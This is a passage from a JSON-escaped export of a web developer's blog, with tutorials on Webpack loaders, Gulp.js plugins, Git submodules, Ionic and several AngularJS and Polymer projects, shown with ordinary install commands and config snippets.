comment.\n","permalink":"https://julienrenaux.fr/2015/04/06/changing-apache2-document-root-in-ubuntu-14-x/","tags":[{"LinkTitle":"NodeJS","RelPermalink":"/tags/nodejs/"}],"title":"Changing apache2 document root in ubuntu 14.x"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"Webpack is taking the task automation market by a storm. I have been using it for months now and for most of my needs Webpack took over Grunt and Gulp.\nWebpack is a module bundler, it takes modules with dependencies and generates static assets representing those modules.\nThis post will only focus about Webpack \u0026ldquo;loaders\u0026rdquo; and \u0026ldquo;post loaders\u0026rdquo;.\nWebpack Loaders Loaders are pieces of code that can be injected in the middle of the compilation stream. Post loaders are called at the end of the stream.\nwebpack can only process JavaScript natively, but loaders are used to transform other resources into JavaScript. By doing so, every resource forms a module.\nSource available on Github\nPrerequisite You will need to have Node and Npm installed on your machine to go through the following examples.\nInstall npm install webpack --save-dev Now create a webpack.config.js file and dump this basic scaffolding in it:\nvar webpack = require(\u0026#39;webpack\u0026#39;), path = require(\u0026#39;path\u0026#39;); module.exports = { debug: true, entry: { main: \u0026#39;./index.js\u0026#39; }, output: { path: path.join(__dirname, \u0026#39;dist\u0026#39;), filename: \u0026#39;[name].js\u0026#39; }, module: { loaders: [] } }; You main entry point is now index.js at the root of your folder. The compiled file will be dumped in the dist folder when compiling.\nCompile When your entry point is defined you can start the compilation using the CLI:\n# Debug mode webpack # Production mode (minified version) webpack -p ECMAScript 6 compilation ECMAScript 6 introduce tones of new features (Arrows, Classes, Generators, Modules etc.) that can be used right now! To do so I recommend using Babeljs.\nInstallation:\nnpm install babel-loader --save-dev Add the loader to the Webpack configuration:\nloaders: [{ test: /\\.es6.js$/, loader: \u0026#34;babel-loader\u0026#34; }] You now can require any ES6 modules using require('./src/index.es6.js');\nResult Before // Generators var fibonacci = { [Symbol.iterator]: function*() { var pre = 0, cur = 1; for (;;) { var temp = pre; pre = cur; cur += temp; yield cur; } } } module.exports = fibonacci; After \u0026#34;use strict\u0026#34;; var fibonacci = function() { var a = {}; a[Symbol.iterator] = regeneratorRuntime.mark(function b() { var a, c, d; return regeneratorRuntime.wrap(function e(b) { while (1) switch (b.prev = b.next) { case 0: a = 0, c = 1; case 1: d = a; a = c; c += d; b.next = 6; return c; case 6: b.next = 1; break; case 8: case \u0026#34;end\u0026#34;: return b.stop(); } }, b, this); }); return a; }(); module.exports = fibonacci; CoffeeScript compilation Coffeescript needs no introduction, it has been popular for a long time now.\nInstallation:\nnpm install coffee-loader --save-dev Add the loader to the Webpack configuration:\nloaders: [{ test: /\\.coffee$/, loader: \u0026#34;coffee-loader\u0026#34; }] You now can require any CoffeeScript modules using require('./src/index.coffee');\nResult Before module.exports = -\u0026gt; square = (x) -\u0026gt; x * x math = root: Math.sqrt square: square cube: (x) -\u0026gt; x * square x After module.exports = function() { var math, square; square = function(x) { return x * x; }; return math = { root: Math.sqrt, square: square, cube: function(x) { return x * square(x); } }; }; Require CSS files Installation:\nnpm install css-loader --save-dev Add the loader to the Webpack configuration:\nThe css-loader will create a style tag that will be injected into your page on run time. The css-loader also takes care of minification when called in the production mode (-p) e.g webpack -p\nloaders: [{ test: /\\.css$/, loader: \u0026#34;css-loader\u0026#34; }] You now can require any CSS file using require('./src/index.css');\nAutoprefix CSS files Installation:\nnpm install autoprefixer-loader --save-dev Add the loader to the Webpack configuration:\nWhat\u0026rsquo;s really annoying with CSS is that some properties are not implemented the same way by browsers. That\u0026rsquo;s the reason behind prefixes -ms- for IE, -moz- for Firefox and -webkit- for Chrome, Opera and Safari. The autoprefixer loader allow you to use the standards CSS properties without having to care for browser compatibility.\nloaders: [{ test: /\\.css$/, loader: \u0026#34;css-loader!autoprefixer-loader\u0026#34; }] You now can require any CSS file using require('./src/index.css');\nResult Before body { display: flex; } After body { display: -webkit-box; /* OLD - iOS 6-, Safari 3.1-6 */ display: -ms-flexbox; /* TWEENER - IE 10 */ display: -webkit-flex; /* NEW - Chrome */ display: flex; /* NEW, Spec - Opera 12.1, Firefox 20+ */ } Sass compilation Sass lets you use features that don\u0026rsquo;t exist in CSS yet like variables, nesting, mixins, inheritance etc. the code created using sass is less complex and therefore easier for developers to maintain than standard CSS.\nInstallation:\nnpm install css-loader sass-loader --save-dev Add the loader to the Webpack configuration:\nHere we use two loaders at the same time. The first one the sass-loader (read from right to left) will compile Sass into CSS then the css-loader will create a style tag that will be injected into your page on run time.\nloaders: [{ test: /\\.scss$/, loader: \u0026#34;css-loader!sass-loader\u0026#34; }] You now can require any Sass file using require('./src/index.scss');\nResult Before $font-stack: Helvetica, sans-serif; $primary-color: #333; body { font: 100% $font-stack; color: $primary-color; } After body { font: 100% Helvetica, sans-serif; color: #333; } Less compilation Less is a CSS pre-processor similar to Sass.\nInstallation:\nnpm install css-loader less-loader --save-dev Add the loader to the Webpack configuration:\nHere we use two loaders at the same time. The first one the less-loader (read from right to left) will compile Less into CSS then the css-loader will create a style tag that will be injected into your page on run time.\nloaders: [{ test: /\\.less$/, loader: \u0026#34;css-loader!less-loader\u0026#34; }] You now can require any Sass file using require('./src/index.less');\nResult Before @font-stack: Helvetica, sans-serif; @primary-color: #333; body { font: 100% @font-stack; color: @primary-color; } After body { font: 100% Helvetica, sans-serif; color: #333; } Move files You can move any type of file around by using the file-loader.\nInstallation:\nnpm install file-loader --save-dev Add the loader to the Webpack configuration:\nFor the example let\u0026rsquo;s try to move images from their directory to a brand new image folder with a naming convention of img-[hash].[ext].\nloaders: [{ test: /\\.(png|jpg|gif)$/, loader: \u0026#34;file-loader?name=img/img-[hash:6].[ext]\u0026#34; }] You now can require any image file using require('./src/image_big.jpg');\nResult the image ./src/img.jpg will be copy and renamed as such: dist/img/img-a4bd04.jpg\nEncode files Sometimes you do not want to make HTTP requests to get assets. For example, what\u0026rsquo;s the point making HTTP requests to get tiny images when you can directly access them encoded (base64) ? The url-loader does just that. What you need to do is to determine the limit (in bytes) under which you want the encoded version of the file (if the file is bigger you will get the path to it).\nInstallation:\nnpm install url-loader --save-dev Add the loader to the Webpack configuration:\nWhen images are under 5kb we want to get a base64 of them and when they are greater than 5kb we want to get the path to them (exactly as with the file-loader).\nloaders: [{ test: /\\.(png|jpg|gif)$/, loader: \u0026#34;url-loader?limit=5000\u0026amp;amp;name=img/img-[hash:6].[ext]\u0026#34; }] Result Before var imgBig = \u0026#39;\u0026lt;img src=\u0026#34;\u0026#39; + require(\u0026#34;./src/image_big.jpg\u0026#34;) + \u0026#39;\u0026#34; /\u0026gt;\u0026#39;; var imgSmall = \u0026#39;\u0026lt;img src=\u0026#34;\u0026#39; + require(\u0026#34;./src/image_small.png\u0026#34;) + \u0026#39;\u0026#34; /\u0026gt;\u0026#39;; After var imgBig = \u0026#39;\u0026lt;img src=\u0026#34;img/img-a4bd04.jpg\u0026#34; /\u0026gt;\u0026#39;; var imgSmall = \u0026#39;\u0026lt;img src=\u0026#34;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA\u0026#34; /\u0026gt;\u0026#39;; Require HTML files The html-loader turn any html file into a module and require any image dependency along the way!\nInstallation:\nnpm install html-loader --save-dev Add the loader to the Webpack configuration:\nloaders: [{ test: /\\.html$/, loader: \u0026#34;html-loader\u0026#34; }] You now can require any HTML files using require('./src/index.html');. All images will also be treated as dependencies and therefore go through their specific stream of events (see Encode files ).\nResult Before \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;\u0026lt;/title\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;img src=\u0026#34;./image_small.png\u0026#34;\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; After module.exports = \u0026#39;\u0026lt;html\u0026gt;\\n \u0026lt;head\u0026gt; \\n \u0026lt;title\u0026gt;\u0026lt;/title\u0026gt; \\n \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \\n \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width\u0026#34;\u0026gt; \\n \u0026lt;/head\u0026gt; \\n \u0026lt;body\u0026gt;\u0026lt;img src=\u0026#34;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA\u0026#34;\u0026gt;\u0026lt;/body\u0026gt; \\n \u0026lt;/html\u0026gt;\u0026#39;; Expose any module The expose-loader loader allow you to bind any module to the global scope.\nInstallation:\nnpm install expose-loader --save-dev Add the loader to the Webpack configuration:\nIn this example we want lodash (Underscore.js decorator) to be exposed in the global scope as _.\nloaders: [{ test: require.resolve(\u0026#34;lodash\u0026#34;), loader: \u0026#39;expose?_\u0026#39; }] Now when requiring lodash (require('lodash');) will also expose it globally. It is necessary for popular modules such as angularJs, jQuery, underscore, moment or hammerjs.\n","permalink":"https://julienrenaux.fr/2015/03/30/introduction-to-webpack-with-practical-examples/","tags":[{"LinkTitle":"Webpack","RelPermalink":"/tags/webpack/"}],"title":"Introduction to Webpack with practical examples"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"Creating hybrid apps with Ionic is really fast and powerful. I have gather a year of information to create an ultimate presentation of Ionic in a airpair blog post: A year using Ionic to build hybrid applications If you only want a summary of what\u0026rsquo;s inside this post you can check out the below presentation. It contains all you need to know to create, build and package an hybrid app with Ionic!\n[iframely]http://www.slideshare.net/julienrenaux/hybrid-apps-withionic[/iframely]\nSome quick tips: Develop in the browser with live reload: ionic serve Add a platform (ios or Android): ionic platform add ios [android] Note: iOS development requires OS X currently Build your app: ionic build Simulate your app: ionic emulate Run your app on a device: ionic run Package an app using Ionic package service: ionic package ","permalink":"https://julienrenaux.fr/2015/02/17/creating-an-hybrid-app-in-minutes-with-ionic-framework/","tags":[{"LinkTitle":"AngularJS","RelPermalink":"/tags/angularjs/"},{"LinkTitle":"Ionic","RelPermalink":"/tags/ionic/"}],"title":"Creating an hybrid app in minutes with Ionic Framework"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"If you are familiar with AngularJS development, you know that memory consumption is one of the highest challenge you must face using it.\nIntroducing angular-memory-stats angular-memory-stats is a NPM package that allow you to follow the memory consumption of your AngularJS application.\nInstall via NPM npm i angular-memory-stats --save Include the AngularJS module to your application angular.module(\u0026#39;yourModule\u0026#39;, [ \u0026#39;angular-memory-stats\u0026#39; ]) Insert the directive in the dom \u0026lt;angular-memory-stats\u0026gt;\u0026lt;/angular-memory-stats\u0026gt; Enable/Disable angular-memory-stats angular-memory-stats is enabled by default, if you wish to disable it use the angularMemoryStatsProvider Provider\nangular.module(\u0026#39;yourModule\u0026#39;).config(function(angularMemoryStatsProvider){ angularMemoryStatsProvider.enable(false) }); Then all you need to do is to launch Chrome (only available on Chrome for now) with the --enable-precise-memory-info and --enable-memory-info flags\n# Linux google-chrome --enable-precise-memory-info --enable-memory-info #MacOS /Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --enable-precise-memory-info --enable-memory-info Open your application and you will have the following indicator on the bottom right corner of your browser:\nSource available on Github\n","permalink":"https://julienrenaux.fr/2015/02/07/angularjs-memory-stats/","tags":[{"LinkTitle":"AngularJS","RelPermalink":"/tags/angularjs/"}],"title":"AngularJS memory stats"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"Ionic Framework Website\rGithub\rIonic needs no introduction, it is a HTML5 Mobile Framework for building, cross-platform hybrid native apps with HTML, JavaScript, and CSS.\nIn 2014 Ionic became one of the top 50 most popular open source projects in the world, with over 12,000 stars on GitHub and over 50,000 new apps were created using Ionic Framework.\n2015 will be an important year for Ionic as they will slowly move from a simple HTML5 hybrid framework to a whole galaxy of tools to create hybrid apps. The npm ionic package is already available with features such as building cordova apps or creating splashscreens and icons for IOS and Android.\nDevelopers to follow: Max Lynch Andrew Joslin Adam Bradley Ben Sperry Angular Material Design Website\rGithub\rMaterial Design is a Google specification for a unified system of visual, motion, and interaction design that adapts across different devices.\nangular/material is a lean, lightweight set of AngularJS-native UI elements that implement the material design specification for use in Angular single-page applications (SPAs). This is the official AngularJs Material Design library.\nNo doubt that 2015 will be the year of Material Design, it is already everywhere from Android to Polymer. I have a lot of expectations for this library that I already use in my current company. Unfortunately a lot of features are missing (menu, dropdown menu, select, multi-select etc.) and the development pace is not high enough to reach the planning explained at the end of this video:\nGo Google go!\nhttps://www.youtube.com/watch?v=2qiyhkQVyxE\rDevelopers to follow: Max Lynch Andrew Joslin Thomas Burleson lumX Material Design Website\rGithub\rMaterial Design is a Google specification for a unified system of visual, motion, and interaction design that adapts across different devices.\nLumX will help you to design beautiful applications, faster and easier, respecting Material Design specification in a pixel perfect way.\nIn a lot of aspects this set of directives is more advanced than the official Angular Material Design repository. I really hope this project will have the attention it deserves. A downside of it though is that it depends on jQuery..\nDevelopers to follow: matmkian Marc Alexandre Thierry Tep Foundation for Apps Website\rGithub\rFoundation for Apps is an Angular-powered framework for building powerful responsive web apps. With this project the Zurb foundation is clearly trying to compete with Ionic Framework. There is still a lot of work to do but it sounds really promissing!\nDevelopers to follow: Geoff Kimball Antonin Januska Angular Hint - Runtime hinting for AngularJS Github\rWhether you start a new project or want to have feedbacks on an existing Angular app, this project is for you. It basically tells you if you follow AngularJs\u0026rsquo;s standards or not.\nIf you do not want to add this project to your development dependencies you can use a Chrome plugin that includes it.\nIf you also wants to follow AngularJs\u0026rsquo;s best practice I suggest you to read John Papa\u0026rsquo;s angularjs-styleguide. There are a lot of great advices in there and I personally always go through it before starting a new project. Some are explained in this video:\nhttp://youtu.be/UlvCbnKAH3g\rDevelopers to follow: Brian Ford Michal Golebiowski Angular-google-maps Website\rGithub\rAngular-google-maps is a set of directives for the Google Maps JavaScript API. It is part of the great Angular UI organization. This repository changed a lot in Q4 2014 and released 2.x versions that is really popular lately.\nDevelopers to follow: Nicholas McCready Nicolas Laplante Ng-Annotate Github\rGithub (Grunt plugin)\rGithub (Gulp plugin)\rIf you are familiar with AngularJs and it\u0026rsquo;s concept of Dependency Injection (DI), you know that it can be really annoying to use when minifying your code:\nMinification KO [javascript] angular.module(\u0026rsquo;ngAppStrictDemo\u0026rsquo;, []) // BadController will fail to instantiate, due to relying on automatic function annotation, // rather than an explicit annotation .controller(\u0026lsquo;BadController\u0026rsquo;, function($scope) { $scope.a = 1; $scope.b = 2; }) [/javascript]\nMinification OK [javascript] angular.module(\u0026rsquo;ngAppStrictDemo\u0026rsquo;, []) // Unlike BadController, GoodController will not fail to be instantiated, // due to using explicit annotations using the array style. .controller(\u0026lsquo;GoodController\u0026rsquo;, [\u0026rsquo;$scope\u0026rsquo;, function($scope) { $scope.a = 1; $scope.b = 2; }])\nangular.module(\u0026rsquo;ngAppStrictDemo\u0026rsquo;, []) // Unlike BadController, GoodController2 will not fail to be instantiated, // due to using the $inject property. .controller(\u0026lsquo;GoodController2\u0026rsquo;, GoodController2); function GoodController2($scope) { $scope.name = \u0026ldquo;World\u0026rdquo;; } GoodController2.$inject = [\u0026rsquo;$scope\u0026rsquo;]; [/javascript]\nBefore AngularJs 1.3 it was difficult to know if you code was production ready (minifiable) or not. To tackle this very problematic AngularJs 1.3 introduced the ngStrictDi directive which tells you if your code is production ready or not.\nNg-Annotate basically makes the \u0026ldquo;Minification KO\u0026rdquo; example a production ready code! You do not have to worry about the $inject property or the array style anymore. This project literally changed my life, with it I was able to remove all the duplicate service injection ['$scope', function($scope) and the $inject property GoodController2.$inject that I used before.\nDevelopers to follow: Olov Lassus Kagami Hiiragi Michal Golebiowski ","permalink":"https://julienrenaux.fr/2015/01/18/angularjs-1-x-open-source-projects-to-follow-in-2015/","tags":[{"LinkTitle":"AngularJS","RelPermalink":"/tags/angularjs/"}],"title":"AngularJs 1.x Open Source projects to follow in 2015"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"There are few examples of word cloud using D3js, the best known is the one from Jason Davies but the code is difficult to understand as it is coupled with the cloud form (angle, number of words etc) and has many functions.\nBased on Jason\u0026rsquo;s D3-cloud project, my aim was to simplify the code, making it responsive and more accessible to anyone. It only has two functions: Draw and Update\nDemo\nRe-size the browser to see the SVG re-rendered.\rSource available on Github ","permalink":"https://julienrenaux.fr/2014/09/23/d3-js-responsive-word-cloud/","tags":[{"LinkTitle":"D3","RelPermalink":"/tags/d3/"}],"title":"D3.js Responsive Word Cloud"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"\rSource available on Github : https://github.com/shprink/angularjs-browserify-polymer-boilerplate Two way data biding\rUsing Polymer and AngularJs at the same time is a bit problematic. The two way data biding (AngularJs feature) cannot natively work with Polimer web components. Some project are emerging though:\neee-c/angular-bind-polymer\rGabiAxel/ng-polymer-elements\rThose projects are not mature enought to use, so I decided to directly use AngularJs's resources within Polymer elements.\nUsing AngularJs's services within Polymer\rvar userService = angular.injector([\u0026#39;boilerplate\u0026#39;]).get(\u0026#39;UserService\u0026#39;); Polymer(\u0026#39;user-list\u0026#39;, { ready: function() { this.list = userService.getList(); }, tapAction: function(e) { console.log(\u0026#39;tap\u0026#39;, e); } });\rUsing AngularJs's scope within Polymer\rPolymer(\u0026#39;boilerplate-login\u0026#39;, { ready: function() { this.angularScope = angular.element(this).scope(); }, sendForm: function(){ this.angularScope.goToHome(); } });\r","permalink":"https://julienrenaux.fr/2014/09/17/angularjs-browserify-polymer-and-sass-boilerplate/","tags":[{"LinkTitle":"AngularJS","RelPermalink":"/tags/angularjs/"}],"title":"AngularJs, Browserify Polymer and Sass boilerplate"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"I have been using git submodules for a while now and I was sometimes lost on how to use it correctly and efficiently. This post will guide you through the needs and usage of a Git submodule.\nWhat is Git submodule? Git submodule is a Git command that essentially allows external repositories to be embedded within a dedicated subdirectory of the source tree.\nWhy using Git submodule? It often happens that while working on one project, you need to use another project from within it. Perhaps it’s a library that a third party developed or that you’re developing separately and using in multiple parent projects.\rhttp://git-scm.com/book/en/Git-Tools-Submodules\rIn my opinion there are several situations where using submodules is pretty useful:\nWhen you want to separate a part of your code into another repository for other projects to use it and still be able tu use within your project as a dependency. When you do NOT want to use a dependency manager (such as Composer for PHP). Using Composer for personal repositories can be overkill, submodules in that case is a fair choice. When you do use a front end dependency manager type Bower. Bower is good but only get distribution files of each dependencies. It will never clone Git repositories (Therefor your dependencies are read-only). Starting a repository with submodules From scratch Using a Git repository that do not have submodules yet.\nAdd a submodule $ git submodule add git@github.com:shprink/BttrLazyLoading.git From existing submodules Using a Git repository that already have submodules registered.\nRegister submodules $ git submodule init Submodule \u0026#39;lib/BttrLazyLoading\u0026#39; (git@github.com:shprink/BttrLazyLoading.git) registered for path \u0026#39;lib/BttrLazyLoading\u0026#39; Submodule \u0026#39;lib/ShprinkOne\u0026#39; (git@github.com:shprink/Shprink-One.git) registered for path \u0026#39;lib/ShprinkOne\u0026#39; Checkout submodules $ git submodule update Cloning into \u0026#39;lib/BttrLazyLoading\u0026#39;... Submodule path \u0026#39;lib/BttrLazyLoading\u0026#39;: checked out \u0026#39;270b55e177ca555bb4fa559d0e663178ac5006a3\u0026#39; Cloning into \u0026#39;lib/ShprinkOne\u0026#39;... Submodule path \u0026#39;lib/ShprinkOne\u0026#39;: checked out \u0026#39;0dddd0f3e24a473675022c7f79c6b1a27a095914\u0026#39; From .gitmodule file Using the .gitmodule file of another repository you can build your own by just running a shell script.\n.gitmodule file [submodule \u0026#34;lib/native\u0026#34;] path = lib/native url = git@github.com:shprink/BttrLazyLoading.git [submodule \u0026#34;lib/mobile\u0026#34;] path = lib/mobile url = git@github.com:shprink/Shprink-One.git Shell script Create an empty file yourfilename.sh and paste the script below:\n#!/bin/sh set -e git config -f .gitmodules --get-regexp \u0026#39;^submodule\\..*\\.path$\u0026#39; | while read path_key path do url_key=$(echo $path_key | sed \u0026#39;s/\\.path/.url/\u0026#39;) url=$(git config -f .gitmodules --get \u0026#34;$url_key\u0026#34;) git submodule add $url $path done Run the script by running the command:\n$ sh yourfilename.sh Daily routine Now that your repository is ready, it is time to start working! Using submodules can increase the number of commands you will need to run, but not necessarily. I personally gained productivity using them.\nStatus The git submodule status command let you see the latest commit hash and the branch currently checked out.\n$ git submodule status 270b55e177ca555bb4fa559d0e663178ac5006a3 lib/BttrLazyLoading (heads/master) 0dddd0f3e24a473675022c7f79c6b1a27a095914 lib/ShprinkOne (heads/master) Update The git submodule update will update your submodules according to the latest source tree (Root repository) known. It means that if your source tree is not up to date, you can end up using old versions of your submodules. This is pretty annoying, especially when working with a team.\nIf you want to be always up to date it means that your team needs to be rigorous on updating the source tree on every submodule\u0026rsquo;s commit\u0026hellip;\nAfter experiencing this problematic I decided to use the git submodule foreach command instead. It simply loop over your submodules and execute something.\nupdate master on all submodules $ git submodule foreach \u0026#39;git pull origin master\u0026#39; Commit Now that you have worked on one or several submodules, it is time to commit your changes. to make sure you are ready to share your work run git status on all submodule:\n$ git submodule foreach \u0026#39;git status\u0026#39; Entering \u0026#39;lib/BttrLazyLoading\u0026#39; # On branch master # Changes not staged for commit: # (use \u0026#34;git add \u0026lt;file\u0026gt;...\u0026#34; to update what will be committed) # (use \u0026#34;git checkout -- \u0026lt;file\u0026gt;...\u0026#34; to discard changes in working directory) # # modified: newFile.js # Entering \u0026#39;lib/ShprinkOne\u0026#39; # On branch master nothing to commit (working directory clean) Add your new files $ git submodule foreach \u0026#39;git add --all\u0026#39; Commit your changes $ git submodule foreach \u0026#39;git commit -m \u0026#34;your commit message\u0026#34; || true\u0026#39; Using || true makes sure that the loop will not stop when a repository with nothing to commit is reached. Otherwise you will get the following error message:\nEntering \u0026#39;lib/ShprinkOne\u0026#39; # On branch master nothing to commit (working directory clean) Stopping at \u0026#39;lib/ShprinkOne\u0026#39;; script returned non-zero status. Push to your remote $ git submodule foreach \u0026#39;git push origin master\u0026#39; Sources http://git-scm.com/docs/git-submodule http://git-scm.com/book/en/Git-Tools-Submodules ","permalink":"https://julienrenaux.fr/2014/08/05/how-to-use-git-submodules-to-facilitate-your-development-routine/","tags":[{"LinkTitle":"Git","RelPermalink":"/tags/git/"}],"title":"How to use Git submodules to facilitate your development routine"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"What is Gulp.js? Gulp.js is what we call a JavaScript Task Runner, it is Open Source and available on GitHub. It helps you automate repetitive tasks such as minification, compilation, unit testing, linting, etc. Gulp.js does not revolutionize automation but simplifies it tremendously.\nToday the Web automation ecosystem is dominated by Grunt.js (which is a great tool BTW) but lately Gulp.js is getting more trending and soon will be overtaking Grunt.js (according to the GitHub popularity, aka \u0026ldquo;stars\u0026rdquo;: 7900 for Grunt.js and 6250 for Gulp.js).\nHow is it better than Grunt or Cakefile? I would say it is no better nor worse than Grunt or Cakefile, it is different. While Cakefile or Grunt use files to execute tasks, Gulp.js uses streams. It means that a typical Cakefile or Grunt workflow would be to execute a task that dumps a temporary file, than based on this file to execute another task that dumps another temporary file an so on\u0026hellip;\nWith Gulp.js everything happens on the fly using Node\u0026rsquo;s stream, temporary files are not needed anymore which make it easy to learn, use and enjoy.\nInstallation Use the -g options to install Gulp globally on your machine.\nsudo npm install -g gulp Practical examples Now let\u0026rsquo;s use Gulp a little bit. Throughout those examples we will discover how to use plugins to create specific tasks such as minifying, concatenate or even linting your code.\nSource available on Github\nHTML Minification Using gulp-minify-html\nnpm install --save-dev gulp-minify-html gulpfile.js:\n// including plugins var gulp = require(\u0026#39;gulp\u0026#39;) , minifyHtml = require(\u0026#34;gulp-minify-html\u0026#34;); // task gulp.task(\u0026#39;minify-html\u0026#39;, function () { gulp.src(\u0026#39;./Html/*.html\u0026#39;) // path to your files .pipe(minifyHtml()) .pipe(gulp.dest(\u0026#39;path/to/destination\u0026#39;)); }); Run:\ngulp minify-html CSS Minification Using gulp-minify-css\nnpm install --save-dev gulp-minify-css gulpfile.js:\n// including plugins var gulp = require(\u0026#39;gulp\u0026#39;) , minifyCss = require(\u0026#34;gulp-minify-css\u0026#34;); // task gulp.task(\u0026#39;minify-css\u0026#39;, function () { gulp.src(\u0026#39;./Css/one.css\u0026#39;) // path to your file .pipe(minifyCss()) .pipe(gulp.dest(\u0026#39;path/to/destination\u0026#39;)); }); Run:\ngulp minify-css JS Minification Using gulp-uglify\nnpm install --save-dev gulp-uglify gulpfile.js:\n// including plugins var gulp = require(\u0026#39;gulp\u0026#39;) , uglify = require(\u0026#34;gulp-uglify\u0026#34;); // task gulp.task(\u0026#39;minify-js\u0026#39;, function () { gulp.src(\u0026#39;./JavaScript/*.js\u0026#39;) // path to your files .pipe(uglify()) .pipe(gulp.dest(\u0026#39;path/to/destination\u0026#39;)); }); Run:\ngulp minify-js CoffeeScript Compilation Using gulp-coffee\nnpm install --save-dev gulp-coffee gulpfile.js:\n// including plugins var gulp = require(\u0026#39;gulp\u0026#39;) , coffee = require(\u0026#34;gulp-coffee\u0026#34;); // task gulp.task(\u0026#39;compile-coffee\u0026#39;, function () { gulp.src(\u0026#39;./CoffeeScript/one.coffee\u0026#39;) // path to your file .pipe(coffee()) .pipe(gulp.dest(\u0026#39;path/to/destination\u0026#39;)); }); Run:\ngulp compile-coffee Less Compilation Using gulp-less\nnpm install --save-dev gulp-less gulpfile.js:\n// including plugins var gulp = require(\u0026#39;gulp\u0026#39;) , less = require(\u0026#34;gulp-less\u0026#34;); // task gulp.task(\u0026#39;compile-less\u0026#39;, function () { gulp.src(\u0026#39;./Less/one.less\u0026#39;) // path to your file .pipe(less()) .pipe(gulp.dest(\u0026#39;path/to/destination\u0026#39;)); }); Run:\ngulp compile-less Sass Compilation Using gulp-sass npm install --save-dev gulp-sass gulpfile.js: // including plugins var gulp = require(\u0026#39;gulp\u0026#39;) , sass = require(\u0026#34;gulp-sass\u0026#34;); // task gulp.task(\u0026#39;compile-sass\u0026#39;, function () { gulp.src(\u0026#39;./Sass/one.sass\u0026#39;) // path to your file .pipe(sass()) .pipe(gulp.dest(\u0026#39;path/to/destination\u0026#39;)); }); Run:\ngulp compile-sass ECMAScript 6 Compilation Using gulp-babel\nnpm install --save-dev gulp-babel gulpfile.js:\n// including plugins var gulp = require(\u0026#39;gulp\u0026#39;) , babel = require(\u0026#34;gulp-babel\u0026#34;); // task gulp.task(\u0026#39;compile-es6\u0026#39;, function () { gulp.src(\u0026#39;./ES6/one.es6.js\u0026#39;) .pipe(babel()) .pipe(gulp.dest(\u0026#39;path/to/destination\u0026#39;)); }); Run:\ngulp compile-es6 JavaScript Linting Using gulp-jshint\nnpm install --save-dev gulp-jshint gulpfile.js:\n// including plugins var gulp = require(\u0026#39;gulp\u0026#39;) , jshint = require(\u0026#34;gulp-jshint\u0026#34;); // task gulp.task(\u0026#39;jsLint\u0026#39;, function () { gulp.src(\u0026#39;./JavaScript/*.js\u0026#39;) // path to your files .pipe(jshint()) .pipe(jshint.reporter()); // Dump results }); In case of success:\n[gulp] Starting \u0026#39;jsLint\u0026#39;... [gulp] Finished \u0026#39;jsLint\u0026#39; after 6.47 ms In case of failure:\n[gulp] Starting \u0026#39;jsLint\u0026#39;... [gulp] Finished \u0026#39;jsLint\u0026#39; after 5.86 ms /var/www/gulp-examples/JavaScript/two.js: line 3, col 15, Expected \u0026#39;}\u0026#39; to match \u0026#39;{\u0026#39; from line 3 and instead saw \u0026#39;[\u0026#39;. /var/www/gulp-examples/JavaScript/two.js: line 3, col 16, Missing semicolon. /var/www/gulp-examples/JavaScript/two.js: line 3, col 154, Expected an assignment or function call and instead saw an expression. 3 errors Run:\ngulp jsLint CoffeeScript Linting Using gulp-coffeelint\nnpm install --save-dev gulp-coffeelint gulpfile.js:\n// including plugins var gulp = require(\u0026#39;gulp\u0026#39;) , coffeelint = require(\u0026#34;gulp-coffeelint\u0026#34;); // task gulp.task(\u0026#39;coffeeLint\u0026#39;, function () { gulp.src(\u0026#39;./CoffeeScript/*.coffee\u0026#39;) // path to your files .pipe(coffeelint()) .pipe(coffeelint.reporter()); }); In case of success:\n[gulp] Starting \u0026#39;coffeeLint\u0026#39;... [gulp] Finished \u0026#39;coffeeLint\u0026#39; after 7.37 ms In case of failure:\n[gulp] Starting \u0026#39;coffeeLint\u0026#39;... [gulp] Finished \u0026#39;coffeeLint\u0026#39; after 6.25 ms one.coffee ? line 3 Line contains a trailing semicolon ? 1 error Run:\ngulp coffeeLint Rename a file Using gulp-rename\nnpm install --save-dev gulp-rename gulpfile.js:\n// including plugins var gulp = require(\u0026#39;gulp\u0026#39;) , rename = require(\u0026#39;gulp-rename\u0026#39;) , coffee = require(\u0026#34;gulp-coffee\u0026#34;); // task gulp.task(\u0026#39;rename\u0026#39;, function () { gulp.src(\u0026#39;./CoffeeScript/one.coffee\u0026#39;) // path to your file .pipe(coffee()) // compile coffeeScript .pipe(rename(\u0026#39;renamed.js\u0026#39;)) // rename into \u0026#34;renamed.js\u0026#34; (original name \u0026#34;one.js\u0026#34;) .pipe(gulp.dest(\u0026#39;path/to/destination\u0026#39;)); }); Run:\ngulp rename Concatenate files Using gulp-concat\nnpm install --save-dev gulp-concat gulpfile.js:\n// including plugins var gulp = require(\u0026#39;gulp\u0026#39;) , concat = require(\u0026#34;gulp-concat\u0026#34;); // task gulp.task(\u0026#39;concat\u0026#39;, function () { gulp.src(\u0026#39;./JavaScript/*.js\u0026#39;) // path to your files .pipe(concat(\u0026#39;concat.js\u0026#39;)) // concat and name it \u0026#34;concat.js\u0026#34; .pipe(gulp.dest(\u0026#39;path/to/destination\u0026#39;)); }); Run:\ngulp concat Add copyright Using gulp-header npm install --save-dev gulp-header\nCopyright [text] /* Gulp Examples by 